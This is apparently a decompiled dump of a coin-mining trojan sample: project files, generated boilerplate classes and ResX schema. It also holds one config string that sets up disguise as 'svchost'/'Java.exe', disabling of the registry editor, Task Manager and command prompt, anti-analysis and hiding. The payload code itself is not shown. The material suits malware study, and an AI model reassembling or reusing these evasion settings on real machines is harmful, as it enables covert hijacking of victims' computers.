||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+1
@@ -0,0 +1 @@
|
||||
BhnHPFkfgejUbiy||awgqwsFWkstDaVy||ZZoehZybGElaulc||pzjiWWxGSuOtRjv||2||svchost||YES||Java||Java.exe||DISABLE_REG||DISABLE_TSK||DISABLE_CMD||ANTIS||HIDE||0||MSG_BOX||MSG_ICO||MSG_TITLE||MSG_MESS||BIND_TRUE||BIND_RES||BIND_PASS||BIND_NAME
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.My.MyApplication
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Infinity.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[STAThread]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.My.MyComputer
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Infinity.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+207
@@ -0,0 +1,207 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.My.MyProject
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Infinity.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.My.MySettings
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Infinity.My
|
||||
{
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.My.MySettingsProperty
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Infinity.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Infinity.My.Resources.Resources
|
||||
// Assembly: Infinity, Version=8.5.5.4, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: AC3C4CF9-EFEE-4BAC-9551-610766AD93B5
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Globalization;
|
||||
using System.Resources;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Infinity.My.Resources
|
||||
{
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
internal sealed class Resources
|
||||
{
|
||||
private static ResourceManager resourceMan;
|
||||
private static CultureInfo resourceCulture;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static ResourceManager ResourceManager
|
||||
{
|
||||
get
|
||||
{
|
||||
if (object.ReferenceEquals((object) Infinity.My.Resources.Resources.resourceMan, (object) null))
|
||||
Infinity.My.Resources.Resources.resourceMan = new ResourceManager("Infinity.Resources", typeof (Infinity.My.Resources.Resources).Assembly);
|
||||
return Infinity.My.Resources.Resources.resourceMan;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
internal static CultureInfo Culture
|
||||
{
|
||||
get => Infinity.My.Resources.Resources.resourceCulture;
|
||||
set => Infinity.My.Resources.Resources.resourceCulture = value;
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.exe-->
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{899451FB-87DA-456E-851E-7F7893A944FF}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AssemblyName>Infinity</AssemblyName>
|
||||
<ApplicationVersion>8.5.5.4</ApplicationVersion>
|
||||
<RootNamespace>Infinity</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="Microsoft.VisualBasic" />
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Form1.cs" />
|
||||
<Compile Include="o254g0boZm785JO6czc7u44n4n02.cs" />
|
||||
<Compile Include="My\MyApplication.cs" />
|
||||
<Compile Include="My\MyComputer.cs" />
|
||||
<Compile Include="My\MyProject.cs" />
|
||||
<Compile Include="My\MySettings.cs" />
|
||||
<Compile Include="My\MySettingsProperty.cs" />
|
||||
<Compile Include="My\Resources\Resources.cs" />
|
||||
<Compile Include="AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="BhnHPFkfgejUbiy" />
|
||||
<EmbeddedResource Include="Form1.resx" />
|
||||
<EmbeddedResource Include="LOeaZpRhcXLrwit" />
|
||||
<EmbeddedResource Include="Resources.resx" />
|
||||
<EmbeddedResource Include="ZZoehZybGElaulc" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual Studio 2005
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Infinity", "Trojan.MSIL.BitMiner.bp-90685018c323d68237a3232e17b93a889c3b5feb82071d28c1999a868a1467a1.csproj", "{899451FB-87DA-456E-851E-7F7893A944FF}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
